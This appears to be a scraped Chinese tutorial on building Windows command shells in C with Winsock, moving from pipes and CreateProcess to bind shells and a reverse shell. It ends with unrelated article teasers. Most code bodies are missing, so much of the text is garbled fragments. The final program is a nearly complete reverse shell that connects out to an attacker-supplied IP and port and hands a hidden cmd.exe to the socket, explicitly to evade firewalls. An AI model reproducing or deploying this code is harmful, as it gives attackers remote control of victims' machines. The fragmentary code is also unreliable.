伺服器端**如下:
#include
#include
#include
#pragma comment(lib,"ws2_32.lib")
//鏈結ws2_32.lib
intmain()
closesocket
(listenfd)
;return0;
}
客戶端:
#include
#include
#include
#pragma comment(lib,"ws2_32.lib")
//鏈結ws2_32.lib
#define port 830
#define maxdatasize 100
intmain
(int argc,
char
* ar**)
}closesocket
(sockfd)
;return0;
}
共享條件:
/*
bool createpipe(
phandle hreadpipe, //pipe管道讀取資料控制代碼,通過readfile函式可以從此控制代碼讀取資料
phandle hwritepipe, //pipe管道寫入資料控制代碼,通過writefile函式可以向此控制代碼中寫入資料
lpsecurity_attributes lppipeattributes, //指定pipe管道的安全屬性,通過此結構可以設定pipe管道是否允許子程序繼承
dword nsize //pipe管道大小(位元組單位),設定為0則為使用系統預設快取尺寸
);typedef struct _security_attributes security_attributes, *psecurity_attributes, *lpsecurity_attributes;
*/security_attributes pipeattr;
handle hreadpipe,hwritepipe;
pipeattr.nlength=12;
pipeattr.lpsecuritydescriptor=0;
pipeattr.binherithandle = true;
createpipe
(&hreadpipe,
&hwritepipe,
&pipeattr,0)
;
/*bool createprocessa(
lpstr lpcommandline, //要執行的命令列
lpsecurity_attributes lpprocessattributes,
lpsecurity_attributes lpthreadattributes,
bool binherithandles, //是否繼承父程序
dword dwcreationflags, //程序建立標誌,通常設定為0
lpvoid lpenvironment,
lpcstr lpcurrentdirectory,
lpstartupinfoa lpstartupinfo, //用於設定啟動資訊
lpprocess_information lpprocessinformation //使用者獲取子程序控制代碼或者子程序id
);*/
#include
intmain()
通過組合上述3部分知識可以構造如下shell
#include
#include
#include
#pragma comment(lib,"ws2_32")
intmain()
else
}return0;
}
對應的組合語言版本(多程序,多執行緒要考慮非同步問題,所以在下述**的關鍵位置新增了時間延遲以等待子程序執行完畢):
int
main()
return0;
}
#include
#include
#include
#include
#pragma comment(lib,"ws2_32")
intmain()
else
}return0;
}
相對好用些,所謂零管道就是沒有使用pipe而是直接將socket控制代碼重定向到子程序的輸入,輸出及錯誤輸出。而子程序是非重疊io(重疊io又名非同步io)支援的物件所以這裡需要使用wsascoket生成非重疊io屬性的socket。
#include
#include
#include
#include
#pragma comment(lib,"ws2_32")
intmain()
用於由目標機器向外連線攻擊主機以避開防火牆的檢測
#include
#include
#include
#include
#pragma comment(lib,"ws2_32")
intmain
(int argc,
char
* ar**)
char
* ip = ar**[1]
;int port =
atoi
(ar**[2]
);wsadata ws;
int ret;
wsastartup
(makeword(2
,2),
&ws)
; socket fd =
wsasocket
(af_inet,sock_stream,ipproto_tcp,
null,0
,0);
struct sockaddr_in server;
server.sin_addr.s_addr =
inet_addr
(ip)
; server.sin_port=
htons
(port)
; server.sin_family = af_inet;
int iaddrsize =
sizeof
(server)
; ret =
connect
(fd,
(sockaddr *
)&server,iaddrsize)
;printf
("%d"
,ret)
; startupinfo si;
zeromemory
(&si,
sizeof
(si));
si.dwflags = startf_useshowwindow|startf_usestdhandles;
si.wshowwindow = sw_hide;
si.hstdinput=si.hstderror = si.hstdoutput =
(void
*)fd;
process_information processinformation;
ret =
createprocess
(null
,"cmd.exe"
,null
,null,1
,0,null
,null
,&si,
&processinformation)
;return0;
}
彙編寫Win32 彈窗
1.暫存器 32位cpu一共提供8個通用暫存器 eax 傳遞返回結果 ecx 進行計數 esi 進行源指標 edi 進行目的指標 eip 當前指令指標暫存器 efl 浮點暫存器 2.開發 對於彙編來說開發者要注意棧幀的平衡 資料先進後出 為什麼用棧結構進行程式設計 例 int myadd int x...
WIN32編寫Warkey 實現改建
下面介紹下,利用win32編寫自己的warkey,實現改鍵,編譯出的 更小巧,希望對感興趣的朋友有些幫助。主要利用低階鍵盤和滑鼠鉤子,無需額外的dll,程式很小巧,主要 如下。ifndef winver define winver 0x0500 endif ifndef win32 winnt de...
WIN32開發之小知識點
1 toupper 函式 toupper是乙個庫函式 toupper的標頭檔案 include 函式的原型 int toupper int c 函式說明 若引數 c 為小寫字母則將該對應的大寫字母返回。返回值 返回轉換後的大寫字母,若不須轉換則將引數c 值返回。toupper的標頭檔案 includ...